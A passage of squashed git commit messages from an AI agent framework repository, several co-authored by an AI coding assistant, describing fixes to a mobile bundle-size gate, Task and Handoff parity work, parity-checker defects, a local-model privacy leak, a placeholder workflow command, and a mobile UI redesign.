floor 942.6kB -- 912.6 plus the +-30kB band #4883 recorded, when the
same commit read 1576.4 -> 1607.1 -> 1587.4kB in a day. #4884
pinned the tree so that band is no longer expected day to day,
but a lockfile refresh still moves the number in one step, and
a gate that goes red on its own gets widened instead of read.
lid 1012.6kB -- 912.6 plus 100kB, the smallest provider on
bundle.mjs's own measured list. At or above the lid a new
provider cannot trip the gate, which is the one thing this
constant was created to force. 1700kB sat 687kB above it.
1000kB. 912.6 + 30 drift + ~57 growth lands there, and so does the
original "~10% over measured" rule (1003.9). Of the 87.4kB of headroom,
30kB absorbs drift and 57.4kB is for growth -- more than any single
honoured-behaviour PR has cost (10-50kB each, across the Task engine,
AgentTeam and Handoff work), and less than a provider.
depgraph.test.mjs pins the new value, and the reasoning is written beside
the constant so the next raise has to answer which bound it is breaking.
Verified: npm run check exit 0 on Node 22.18 and 24 (1688 tests each),
npm run test:bundle exit 0 (33 tests), npm run build exit 0 at 912.6kB of
1000kB. Mutation-tested three ways, each anchor asserted before applying:
setting the ceiling to 900kB makes the real build exit 1 naming the
overrun; that same edit fails depgraph.test.mjs's pin; and disabling the
`lazyBytes > LAZY_BUDGET_BYTES` branch fails bundle.test.mjs's
over-the-allowance fixture. The gate can still go red.
Co-authored-by: Claude Opus 5 <[email protected]>
* feat(ts): the team runner actually runs the Task engine, closing 28 options
A merged change built the Task engine -- real, unit-tested implementations
behind 28 Task options. Nothing called it. Grepping the new methods outside the
engine found zero call sites, so passing `handler` or `loopOver` to a Task still
did nothing, and the ledger deliberately kept counting them. A count must not
fall while the behaviour is inert.
AgentTeam now drives it. The run gained a plan phase (loop and input-file
fan-out, back-links, async batching), a routing loop, and a per-task path
applying the engine in Python's order: the rerun gate, the dependency-failure
gate, task hooks, agentConfig resolution, the handler before the model, context
assembly, memory and knowledge recall, images, the cache, retry backoff, the
memory write, and output shaping in place of the inline literal.
All 28 are proved through `team.start()` rather than by calling an engine method
directly, because calling the engine was never the question. 48 tests, each
paired with a control.
`taskType: 'decision'` now genuinely changes behaviour, so its notice is
narrowed to the values that still mean nothing rather than left to cry wolf.
The engine barrel could not be imported: simple.ts re-exports AgentTeam, so
team.ts is on the graph the webview gate bundles for a browser, and the barrel
re-exports two modules that import fs and path at module scope. Verified with
esbuild before writing any code; team-runner.ts imports the three builtin-free
engine modules directly. The gate reports zero failures.
Still open on this surface: autonomy, web, reflection and planning have no
engine implementation to call. Closing them means writing new modules, not
wiring existing ones.
Behaviour parity: 48 options outstanding, now 20.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(ts): route decision tasks whose JSON answer is wrapped in a fence
decisionFrom only parsed a bare `{...}`, so a model that fenced its answer
(```json {"decision":"approve"} ```) fell through to the raw text and the
route never matched, exiting the workflow. Strip the fence first with the
engine's own clean_json_output before reading `decision`, matching Python's
_process_task_result. Adds a fenced-decision test and its non-matching control.
Co-authored-by: Mervin Praison <[email protected]>
* fix(ts): import AgentTeam from ./agent barrel after rebase
main took AgentTeam's value re-export off simple.ts to keep the team
subsystem off the phone's webview graph; the new parity test still
pulled it from ./simple. Point it at ./agent, matching the sibling
team tests.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix: async/streaming knowledge normalization, async LLM cost telemetry, and multi-agent spawn cross-thread race (fixes#4886)
- chat_mixin: route async _achat_impl and both streaming knowledge paths
through the existing _get_knowledge_context helper so the SearchResult
dataclass is normalized instead of crashing on non-iterable join.
- openai_client: emit llm_start/llm_end (with cost + latency) in the async
tool-loop, mirroring the sync path so async runs report cost/tracing.
- agents: capture the running loop in await_for_completions so the
cross-thread completion signal is delivered (not silently dropped);
unify async spawn state under the shared threading.RLock instead of a
separate asyncio.Lock; keep a strong reference to fire-and-forget spawn
tasks so they are not GC'd mid-run.
Co-authored-by: Mervin Praison <[email protected]>
* fix: close await_for_completions subscribe race + accurate async LLM telemetry
- agents.py: subscribe to completion events BEFORE the initial check so a
sub-agent finishing on its background thread in that gap is not lost
(event bus does not replay); prevents indefinite hang when timeout=None.
- openai_client.py: measure llm_end latency_ms per tool-loop iteration
(was cumulative from method start); pair llm_start with llm_end on the
empty-response failure path so async traces never carry an unmatched event.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix: harden wrapper auto-merge, async bridge, and multi-provider defaults (fixes#4888)
Gap 1: refuse to overwrite un-parseable YAML in --merge (agents + workflow);
back up the original to .bak and raise MergeConflictError instead of silently
clobbering the user's file via a string-sniff exception filter.
Gap 2: register the shared bridge's atexit hook lazily on first use (not at
import) and resolve PRAISONAI_RUN_SYNC_TIMEOUT lazily per call; auto-scope the
sync adapter run onto its own loop+thread so a stuck coroutine no longer parks
the shared default loop for other agents/tenants.
Gap 3: emit the workspace's configured model (not hard-coded gpt-4o-mini) in
the job-workflow prompt/writer, omitting the model key when unset so it inherits
the default; import the canonical _BUILTIN_MODEL_PREFIXES directly to remove the
provider-allowlist drift.
Co-authored-by: MervinPraison <[email protected]>
* fix: preserve explicit timeout=None unbounded waits + collision-safe merge backups
Address greptile review findings on PR #4889:
P1 (async bridge): the PR conflated an omitted timeout with an explicit
timeout=None. Two production scheduler callers
(integration/bridges/schedules_runner.py, cli/commands/schedule.py) pass
timeout=None deliberately to keep a claimed long-running job unbounded;
mapping None to the 300s default silently dropped those runs. Introduce an
_UNSET sentinel + _resolve_timeout() so omitted -> configured default and
explicit None -> unbounded, across run_sync / run_sync_or_offload /
arun_sync_or_offload.
P2 (auto merge backup): _backup_unparseable_file used a fixed <file>.bak
name (overwrote earlier backups) and returned the source path on copy failure,
so MergeConflictError falsely claimed a backup existed. Timestamp the backup
name for collision safety and return None on failure; _merge_conflict_message
now reports "Backup failed; original left untouched" instead of a bogus path.
Co-authored-by: MervinPraison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
Replace the three remaining hand-rolled lazy-import __getattr__ blocks in
config, plugins, and policy with the canonical create_lazy_getattr helper,
following #3992/#3995. Exports, names, lazy semantics, and AttributeError
behaviour are unchanged; each package now gains the per-attribute cache.
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* feat(ts): honour all eight Handoff settings, which were accepted and ignored
Handoff took contextPolicy, maxContextTokens, maxContextMessages,
preserveSystem, timeoutSeconds, maxConcurrent, detectCycles and maxDepth,
stored them on this.config, and announced each one as not yet honoured. They
are the first eight rows of BEHAVIOUR_PARITY.md, and they now do what Python
does.
- preserveSystem lifts system messages out of the slice and protects them from
the token budget; contextPolicy selects none/last_n/summary/full and the
selection is seeded onto the target for the call only, then restored, as
_seed_target_history does; maxContextMessages sizes the last_n slice and,
as in Python, is ignored by the other policies.
- maxDepth and detectCycles refuse before the target is touched, raising the
errors Python raises with the same message and context keys.
- timeoutSeconds bounds the turn and the abandoned call gets a no-op rejection
handler, so a timeout cannot resurface later as an unhandled rejection.
- maxConcurrent is a per-instance semaphore, and waiting for a slot happens
outside the timeout, as in Python.
One divergence, stated rather than hidden: Python's HandoffConfig declares
max_context_tokens and serialises it, and no code path reads it -- the
chat_mixin hits belong to a different config object. TypeScript implements the
documented meaning, so it does more than Python here. If strict mirroring is
the policy, the Python side is the defect and this row should be re-litigated.
Chain tracking uses AsyncLocalStorage reached through process.getBuiltinModule.
Neither a static import nor require() is usable: handoff.ts sits on the
praisonai/mobile graph, where require() earns the ESM shim's createRequire
banner, which is a top-level await that esbuild refuses at the chrome58 floor.
Verified: the webview gate reports OK for all four entries, including the floor
check, and the mobile bundle is 1528.0kB of its 1600kB budget.
40 new tests across three files, each behaviour paired with a control. Reverting
the four call sites in execute() fails 26 of them.
Behaviour parity: 76 options outstanding, now 68.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(ts): serialize handoff history seeding per target; overlap-based concurrency test
Two handoffs to one shared target agent (including from separate Handoff
instances with independent maxConcurrent semaphores) could interleave the
snapshot/seed/run/restore sequence: one call read the other's seeded context,
and either restore could put a stale snapshot back over live history. A
timed-out handoff whose abandoned call settled late was the same hazard.
withSeededHistory now chains per target through a WeakMap-keyed tail promise,
making seeding strictly one-at-a-time per target for both history shapes.
Targets with no restorable history skip the gate, so execution-limit parity
is unchanged.
Adds a concurrent-isolation test (two instances, one target, distinct
histories) and replaces the wall-clock ceiling in the per-instance
concurrency test with an observed-overlap assertion to remove CI flake.
Co-authored-by: Mervin Praison <[email protected]>
* fix(mobile): raise lazy bundle budget to 1700kB for filled option-gap engines
The mobile lazy engine grew from 1459.6kB to ~1610kB as three parity PRs
(Task engine #4838, AgentTeam #4837, this Handoff PR) landed the real
behaviour their accepted-and-ignored options always advertised. main is
already over the old 1600kB ceiling from #4837 (1607.1kB); this PR's honoured
Handoff settings add ~11kB on top. No provider was added and no single PR is
the cause -- the sum is the honest cost of the options finally working, which
is exactly the deliberate "decision" the LAZY_BUDGET_BYTES header describes.
Moves the ceiling once to 1700kB, documented in bundle.mjs and re-pinned in
depgraph.test.mjs, leaving ~90kB so a next provider stays its own decision.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
Consolidate the byte-for-byte identical module-member tool extraction from
ToolOverrideLoader.load_from_file and load_from_module into a single private
static helper _extract_callables. Behaviour-preserving extract-method: the
"which members count as a tool" rule now has a single owner so the two load
paths cannot silently diverge.
Co-authored-by: MervinPraison <[email protected]>
Address reviewer feedback on PR #4895:
- WindowedSpendBudgetPolicy.check now accepts pending_usd so a caller can
reserve the pending turn's estimated cost before the LLM call, preventing a
single expensive/concurrent turn from overshooting the cap (Greptile P1).
- retry_after_seconds is now computed from an optional oldest_spend_ts
(oldest_spend_ts + window - now, clamped) instead of always the full window,
giving rejected callers an accurate rolling-window hint (Greptile P1).
- SqliteTokenUsageSink.oldest_spend_ts() supplies that timestamp so the
accurate retry path has a live producer.
- Docstrings now describe gateway.budget / spend_budget_policy= as forthcoming
wrapper surfaces rather than existing ones (Greptile P2).
Backward compatible: new params default to the prior "gate on spend so far"
behaviour. Adds 8 tests; all 27 gateway spend/durable-sink tests pass, gateway
rate-limit tests unchanged.
Co-authored-by: Mervin Praison <[email protected]>
Add two lightweight, injectable core primitives for multi-user gateways:
- SpendBudgetPolicyProtocol + WindowedSpendBudgetPolicy in gateway/protocols.py:
a pure, import-free admit decision symmetric with RateLimitPolicyProtocol,
gating on cumulative per-identity USD spend before the LLM call.
- SqliteTokenUsageSink in telemetry/durable_sink.py: a durable, queryable
per-identity usage ledger (stdlib sqlite3, no new deps) implementing the
existing TokenUsageSinkProtocol, surviving restarts and answering spent()
for the budget policy plus usage() for a /usage surface.
Both are testable in isolation; no agent.py changes, no new dependencies.
Co-authored-by: MervinPraison <[email protected]>
Native-poll capability was advertised for Telegram/Slack/Discord, but the
praisonai-bot renderers have no POLL branch (and no else fallback), so a
poll block was silently discarded on those channels. Disable
supports_native_poll for the three built-in channels so adapt_presentation
degrades polls to the already-supported question+buttons fallback (and reports
the degradation) until each renderer implements native poll delivery.
Also validate make_poll requires >=2 options (a vote needs at least two
choices) and update tests to cover the capability-flag path explicitly.
Co-authored-by: Mervin Praison <[email protected]>
Restrict comma-splitting in _coerce_capability_value to capabilities whose
Agent param accepts a list of sources (knowledge). A single-value capability
like --guardrails takes one validator prompt string, so a valid comma-
containing value (e.g. "Be accurate, cite sources") must pass through intact
instead of becoming a list and breaking Agent construction.
Co-authored-by: Mervin Praison <[email protected]>
praisonai chat declared --knowledge/--guardrails/--web/--reflection/
--planning/--context/--execution/--caching but dropped them at runtime
(_UNWIRED_CHAT_OPTIONS) because chat_main never passed them to the async
TUI. The core Agent already accepts these as consolidated params, so this
threads the resolved flags through AsyncTUIConfig into _build_agent's
Agent(...) call — the same params run/YAML/Python use — instead of adding
any new runtime. Only supplied flags are applied; unset ones keep the
Agent default.
_UNWIRED_CHAT_OPTIONS now lists only the genuinely-unwired options
(--hooks, --ui-backend, --no-color, --theme). Tests updated: the warning
tests target still-unwired flags and a new parity suite asserts the
capability options reach the TUI config and map onto Agent kwargs.
Co-authored-by: MervinPraison <[email protected]>
* fix(parity): stop every branch conflicting on the same generated reports
Two open pull requests could not merge, both on the same two files:
BEHAVIOUR_PARITY.md and behaviour-parity.json. That is not bad luck. Every
branch that closes an option regenerates them, so every branch conflicts with
every other branch, and the conflict is in generated content nobody edits by
hand -- the worst kind to resolve, because the diff carries no intent.
The requirement was redundant to begin with. update-parity-tracker.yml already
regenerates all eight generated reports on every push to main and commits them.
Main heals itself within a minute of a merge; asking each pull request to carry
the same regeneration bought nothing and cost a conflict every time.
So a stale report is now a note rather than a failure, in both the behaviour and
signature checks. A MISSING report is still a failure, because then there is no
baseline to compare against.
What did not change is the part that matters. The behaviour ratchet still fails
when the total rises, and it reads the committed baseline, so a stale-but-lower
committed total is a stricter floor rather than a looser one. Every signature
gap -- missing, required, default, TypeScript-only required -- still fails.
Verified by running: with a deliberately stale report, adding one ignored option
still exits 1 with "49 ... up from 48".
Three tests cover the new contract, two of them controls: closing an option now
exits 0 while still naming the improvement and mentioning the stale file; a
stale report alone does not fail; and a stale report does not hide a rise.
Tests 249 -> 252.
Co-Authored-By: Claude Opus 5 <[email protected]>
* test(parity): cover the signature stale-vs-missing report contract
Greptile flagged that the new signature merge-gate contract -- a missing
generated report fails, a stale one only warns -- had no test, unlike the
behaviour checker. Extract the freshness classification into a pure helper
and test both cases plus controls (fresh, line-only shift, and that a stale
warning never masks a live failure).
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(ts): make `praisonai-ts workflow` actually run the workflow
The step loop was a placeholder that had shipped:
for (const step of steps) {
// For now, we'll simulate step execution
results[step.name] = { status: 'completed', output: `Step ${step.name} completed` };
}
No Agent was constructed and no model was called. `step.agent`, `step.task`
and `step.depends_on` were parsed and never read. So the command the CLI spec
describes as "Execute a multi-agent workflow" returned success for anything.
Verified against origin/main before changing it, with no API keys set:
wf.yaml (agents that do not exist) success:true steps:2 exit 0
garbage.yaml ("this is not yaml") success:true steps:0 exit 0
The second one is the worse half: a corrupted or wrong-schema file parsed to
zero steps and still reported a completed run, so a CI job gating on this
command passed unconditionally.
Now each step builds an Agent from the workflow's `agents:` block and calls
it, steps run in declaration order so each sees what came before, a failure
stops the run and is reported, and a file that yields no steps is an error
rather than an empty success. --parallel runs the steps together, without the
shared context that ordering provides.
wf.yaml exit 5 "1 of 2 step(s) failed: step_one: The OPENAI_API_KEY
environment variable is missing or empty"
garbage.yaml exit 1 "No steps found in ...: a workflow needs a 'steps:'
list, each entry naming an 'agent' and a 'task'"
no task exit 1 "Step 'step_one' has no 'task' to run"
7 tests with the Agent mocked, covering both the success and every failure
path. Reverting to the simulate loop turns 5 of them red. 43 CLI tests pass.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(ts): parse agent defs, honour depends_on, reject scalar steps in workflow CLI
Addresses reviewer feedback on the workflow command:
- Populate workflow.agents from YAML so each step uses its declared
instructions/llm instead of the generic fallback; reject steps that
reference an agent the block never declares.
- Read step.depends_on: a dependent step now receives only its declared
dependencies' outputs, not every earlier step's text.
- A scalar `steps: foo` is rejected up front instead of throwing
`steps.map is not a function`.
Adds 4 tests (11 total). 47 CLI tests pass.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
The mobile bundle gate measured 1576.4 -> 1607.1 -> 1587.4 kB for the same
commit because praisonai-ts gitignored package-lock.json while CI built it
with npm. Every CI run re-resolved every `^` range from scratch, so an
upstream patch release silently changed both the measured bundle and what
ships to a phone.
Un-ignore and commit package-lock.json so the tracked lockfile pins the
dependency tree. The existing `npm install` in mobile.yml / mobile-platforms.yml
now honours these pins (verified: install does not modify the lockfile),
making the build reproducible and the gate a real signal.
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix(local): stop a local agent sending documents to OpenAI, and five more gaps
Four audit agents went over the merged local-model work. Every finding below
was reproduced by running code, and each fix carries a test that fails without
it.
1. CRITICAL - a "local" agent shipped your documents to OpenAI.
Agent(llm="local", knowledge=[...]) routed chat to Ollama and embeddings to
OpenAI. Proved with a stub standing in for api.openai.com: both the private
document AND the user's query left the machine as text-embedding-3-small,
with a 200 back and no warning.
Root cause was not where it looked. The knowledge config was correct all
along; knowledge/adapters/factories.py read the embedding model ONLY from
OPENAI_EMBEDDING_MODEL and discarded the configured embedder block entirely,
including the api_base that embedding() already accepts.
Fixed in two places: the Chroma adapter now honours the configured embedder
and its endpoint, and Agent fills the gap when a local target resolves and
no embedder was named. If the local server serves no embedding model, it
warns and says how to fix it instead of quietly using a remote provider.
After: the same scenario answers correctly from local knowledge with ZERO
requests to the stand-in.
2. HIGH - the stream path ran a tool ten times and yielded nothing.
Measured at temperature=0: sync 2 calls, async 1 call, stream 10 calls and
an empty string. The tool result was being fed back correctly; the follow-up
request still advertised tools, so a small model kept calling instead of
answering, and the loop exited via a guardrail that yields nothing.
get_response_stream was the only path that never called _finalise_on_limit,
which get_response and get_response_async both already use for exactly this.
Now: stop before dispatching a repeated identical call, then ask once with
tools disabled. Result: 1 tool call and a real model-written sentence.
Sync and async baselines are byte-identical, deliberately.
3. HIGH - a healthy local server was reported as "did not answer (refused)".
probe_endpoint gated its OpenAI-compatible fallback on the FIRST probe's
status, which is Ollama's GET / -- a 404 for every other server. llama.cpp,
LM Studio and vLLM were misdiagnosed as network failures while serving.
4. HIGH - PRAISONAI_LOCAL_ENGINE could only ever reject.
It was passed as a probe filter, so engines with no ProbeSpec (llamafile,
localai, ramalama) were reachable by no route at all, despite the spec
saying that variable is how you reach them.
5. MEDIUM - llama_cpp/ was accepted and unroutable, a regression this
workstream introduced. _detect_provider claimed the prefix; litellm knows no
such provider, so the request retried four times and returned None. The
prefix names a real engine, so it is now rewritten to openai/ rather than
dropped.
6. MEDIUM - two URL bugs in local/target.py: a path prefix was silently
dropped (a reverse proxy at /ollama had every request rewritten to the
root), and /v1 was appended unconditionally, so a URL that already ended in
/v1 became /v1/v1.
Also: src/praisonai/README.md still shipped the local-model recipe the root
README documents as broken - it sets OPENAI_BASE_URL, names no model, and a
local server answers "model 'gpt-4o-mini' not found". That file is the PyPI
long description. Two examples passed verbose=True to Agent(), which raises
TypeError on construction.
The SLOC ceiling test failed on local/embed.py, which is the mechanism working.
The budget is raised in the spec in this same commit, as the spec requires,
rather than absorbed silently.
Verified: 201 agents-package + 670 praisonai unit tests pass; integration
selection unchanged at 194/291; live Ollama end-to-end correct on all paths.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(local): stop /v1/v1 probe doubling and de-dupe the embed.py ceiling row
- discover.py: the OpenAI-compatible fallback probe appended /v1/models
unconditionally, so a base a user pasted from LM Studio or vLLM (already
ending in /v1) was probed at /v1/v1/models -> a 404 that reported a live
server as absent. Probe /models when the base already ends in /v1.
- 07-local-package-spec.md: the LOC table listed embed.py twice with
conflicting ceilings (120 and 140); keep the single authoritative row.
- Add a regression test covering the /v1 base discovery path.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(parity): the checkers could pass over work they never verified
An audit reproduced eleven defects in the parity tooling, each with a command
and an exit code. The layer built to stop a green report over unverified work
had the same fault in eleven places.
The worst three. Deleting three question marks so `verbose`, `markdown` and
`stream` become required -- which stops `new Agent({ name: 'x' })` compiling for
every TypeScript user -- passed all three gates, all 142 tests, and produced a
byte-identical report, because a flattened row set `ts=None` and gap detection
ran only when `ts` was not None. Any TypeScript default written outside four
recognised forms recorded nothing and was read as "no default", silently
matching Python's None: 136 of 201 rows called clean sat in that branch. And a
TypeScript-only REQUIRED member never failed, because `ts_only` was computed,
rendered, and never evaluated -- running the regenerate command the error
message itself suggests cleared it.
Also fixed: a one-line reformat of the ledger "closed" eight behaviour options,
because the surface regex needed a trailing comma and a partial parse was not
refused; `behaviour --write` laundered a ratchet rise into the new floor, and
the gate's path filter could not see its own report; a named re-export from a
module that does not exist counted as done; an export statement inside a string
literal counted as an export; the Python extractor missed exports added the
ordinary way while its docstring claimed otherwise; eleven rules entries were
dead; and three mutations survived the suite.
One hole was found by verifying the fix rather than trusting it. A waiver is
keyed by parameter, so waiving a DEFAULT difference also silenced a
REQUIRED-ness change on the same parameter -- the breaking case sailed through
behind the waiver added for the cosmetic one. Waivers now carry an optional
`kinds`, and required-ness is never covered implicitly: a waiver must name it.
That immediately surfaced two existing waivers whose reasons were already about
required-ness; they now say so.
The fixes surfaced seven real gaps that had been invisible. The headline one is
`Agent.__init__.output`: Python's default resolves the silent preset, all three
false, while TypeScript defaults markdown and stream to true and verbose to an
environment variable. The same program is silent in Python and verbose,
markdown and streaming in TypeScript -- documented on day one of this work, and
unseeable by this layer until now. It is waived with that reason rather than
changed, because aligning defaults is a product decision.
Two judgements worth recording. A broad catch-all for unreadable defaults was
measured at five false positives in ten and rejected, with the reasoning kept in
the file so it is not retried. And three candidate rules for detecting a ledger
entry deleted without implementation were measured against all 48 entries: two
could not fail at all, the third would license 85% of possible deletions while
reading as verification. None shipped; the limitation stays documented, and the
tool now merely names what a change claims to have closed.
Tests 142 -> 244. Each fix was watched failing first.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(parity): validate nested re-exports and count bare-key ledger surfaces
Two paths could still let unverified work read as complete (Greptile P1/P2):
- Nested named re-exports (`export { X } from './barrel'` reached through a
star) were trusted by source name alone. Now each is resolved and its source
symbol checked against what the target module provides, recursively -- a
phantom re-export through a barrel is dropped, matching the root-level rule.
- A valid unquoted JavaScript ledger key (`Handoff: [...]`) fell out of the
parse, LOWERING the total and reading as progress. The scanner, the
independent key cross-check and the `unhonouredFor` safeguard now all
recognise bare identifier keys.
Regression tests added for both, each with a control. Real behaviour and TS
parity reports are byte-identical after the change.
Co-authored-by: Mervin Praison <[email protected]>
* chore(parity): regenerate signature report after rebase onto main
Refresh SIGNATURE_PARITY.md and signature-parity.json so TS source
locations track main's team.ts and llm/index.ts line shifts. Content
otherwise byte-identical; --check and behaviour gate both green.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* feat(mobile): a visual identity -- type scale, spacing rhythm, two designed themes
The app was correct and read as a prototype: one weight, no scale, no
rhythm, colour chosen per element. `:root` held the safe-area insets and
nothing else. This gives it a system and holds the system to gates that
measure the rendered page rather than the stylesheet text.
TYPEFACE -- the system stack, committed to rather than defaulted to.
A webfont was rejected on three counts, worst first: ui/src/i18n
translates the UI and main.ts sets `dir="rtl"`, so a Latin subset would
leave Arabic and CJK users reading two typefaces; index.html paints a
wordmark on the first frame precisely so a cold start does not look
broken, and a webfont makes that frame a flash or a blank; and app.css
is a render-blocking <link> under `font-src 'self'`. `system-ui` now
leads the stack.
Three weights -- 400/500/700, the three Roboto ships. `font-weight: 550`
was in this file for settings labels: CSS font matching searches UPWARD
above 500, so it rendered 550 on iOS (SF is variable) and 700, full
bold, on Android, where the label was heavier than the heading above it.
Visible in the before/after captures.
TYPE SCALE -- six steps in two bands. 12/13/14 is information
(timestamps, help, tool meta), 16/18/22 is hierarchy. Not geometric: a
constant ratio lands on fractional pixels at the small end, where a
phone has no room for them.
SPACE -- seven steps on a 4px grid, in rem. Android's font-scale reaches
a WebView as a text zoom, so rem spacing grows with the type and px
spacing does not; rem is also what this file already used, so the
rhythm changes and the behaviour does not. `--gutter` names the one
number main.ts also writes inline, and a new test asserts they agree.
COLOUR -- three surfaces (ground/chrome/panel), ink/soft/rule, the brand
accent, a user-message pair, bad/warn with tinted grounds, and the five
`RowTone` values view-model.ts has always named and this file never
styled. Both themes are designed, and two tokens prove it is not an
inversion: `--chrome` is lighter than `--ground` in BOTH themes, because
a bar floats above a page whatever the light; `--panel` flips, because a
control is nearer the light source and in the dark that means brighter.
`--user-bg` is the case that mattered. It was `--accent`, which in dark
must be light enough to read as text on near-black (10.6:1) -- so every
user bubble was the brightest object on the screen, once per message,
down the whole conversation, while the identical rule in light gives a
dark fill that recedes. Dark now has its own deep green at 2.05:1.
THE MESSAGE LIST -- the user writes objects, the model writes text.
The user's row keeps its bubble, its alignment and one logical corner
notch (`border-end-end-radius`, so it follows `dir` instead of pointing
away from an Arabic speaker). The assistant's row loses its fill: a
100%-wide filled box is not a bubble, it is a container with prose in
it, and stacked down a transcript it was a column of grey slabs. Turn
rhythm comes from `+` combinators either side of the user's row -- there
is no turn element and reconcile.ts places rows by index. A tool's
status is a chip coloured by its tone, which is what finally makes
`unresolved` stop looking identical to `running`.
Every text pair in both themes clears WCAG AA: worst is 4.5:1 in light,
6.3:1 in dark.
DEFECTS FOUND AND FIXED ON THE WAY
- `.user-note` sat at `opacity: .85`: white on the light bubble at
4.26:1, under AA, on the one line whose job is to say your message was
not saved. Contrast through an opacity is a fact about the composited
pixel and no review sees it. .92 -> 4.68:1.
- Two `.row-chat` blocks 130 lines apart, written by different fixes,
the later silently winning half the earlier one's declarations.
- `.chat-open` kept `button`'s own inline padding inside a row that
already had a gutter, indenting every chat title twice.
- `.chat-open` was `align-items: baseline` inside a 44px button box, so
the title sat ~10px above the `Delete` beside it. Invisible while
Delete had a border; obvious once the destructive control was
quietened. Measured on the emulator.
- `.screen-heading` and `.jump-latest` had no rule at all. Settings and
Chats were titled at the user agent's default h2 while the chat
screen's title was 16px; the jump affordance was a full-bleed slab
that shoved the composer down.
- The topbar overflowed at font_scale 1.5 -- "New chat" wrapped and
"Settings" was clipped. `min-width: 0` on the title lets it ellipsise
first so every control stays reachable.
GATES, ALL MUTATION-TESTED
tools/screen-layout.test.mjs measures the rendered page in Chromium:
a contrast sweep over every text-bearing element on all three screens in
both themes; the theme direction and magnitude of the user bubble; the
speaker distinction as shape and side; and every font-size and
font-weight against the scale. app/src/css.test.ts resolves `var()`
chains rather than matching declaration text.
Four mutations SURVIVED the first versions and each bought a better
gate: a `.5px` scale tolerance accepted the exact `.82rem` the scale
replaced; the contrast sweep visited only the chat screen; the type
sweep measured screens `screens.ts` had already unmounted; and the
gutter check matched left-or-right instead of both.
boot-screen.test.ts's "every token must have a dark value" now applies
to the tokens named in colour declarations rather than to every `var()`
in the rules -- the boot indicator takes its size from the scale now,
and a scale step has no business having a dark value.
VERIFIED ON AN ANDROID 15 EMULATOR (API 35, 1080x1920 @ 420dpi), before
and after, light and dark, at font_scale 1.0 and 1.5: chat empty, chat
with a conversation, Chats, Settings, Settings scrolled, the composer
with the keyboard up, and the boot indicator on a cold start. Each
build confirmed on the device by `lastUpdateTime` before any capture was
trusted. The safe-area insets, the composer's keyboard behaviour, the
settings scroll, the boot indicator, the empty-state panel and the
settings row states were all re-checked on the device, not only in the
tests.
`npm run check` exits 0 (1675 tests). app.css grows 22.6kB -> 46.2kB raw
and 7.9kB -> 15.4kB gzipped, about 60% of it comment; it ships verbatim
and is render-blocking, so the number is stated rather than buried. The
JS bundle budgets count JS chunks only and are untouched.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(mobile): keep keyboard focus ring on screen headings
.screen-heading:focus (specificity 0,2,0) overrode the global
:focus-visible outline (0,1,0), removing the only visible focus
indicator when route navigation moves focus to a heading via keyboard.
Scope the suppression to :focus:not(:focus-visible) so tap-triggered
programmatic focus stays quiet while keyboard focus keeps its ring.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Mervin Praison <[email protected]>
* test(mobile): gate the focus ring, and the error title, on the real page
Two gaps this branch's own gates did not cover, both found where it met
`main`.
THE FOCUS RING. This branch added `.screen-heading:focus { outline:
none }` with a comment asserting "a real keyboard focus still gets one,
from `:focus-visible` below". That was false: `.screen-heading:focus` is
(0,2,0) and the global `:focus-visible` rule is (0,1,0), so the
suppression won for BOTH kinds of focus and route navigation to a
heading left a keyboard user with no visible focus at all.
`praisonai-triage-agent[bot]` caught it and scoped the rule to
`:focus:not(:focus-visible)`, which is the right idiom -- the
programmatic focus `focus.ts` moves on a route change stays quiet, and a
keyboard focus keeps its ring. That commit is kept as it stands; this
adds the gate that should have made it unnecessary.
The invariant is stated on the cascade rather than measured, and
deliberately: `:focus-visible` turns on the heuristics of the last input
modality, which a headless browser cannot be made to assert both ways
reliably, while "does this selector remove the outline from a keyboard
focus" is decidable from the selector alone. Any rule setting `outline:
none` on a `:focus` state must carry `:not(:focus-visible)`.
THE ERROR ROW. #4873 landed `.error-title` / `.error-message` as two
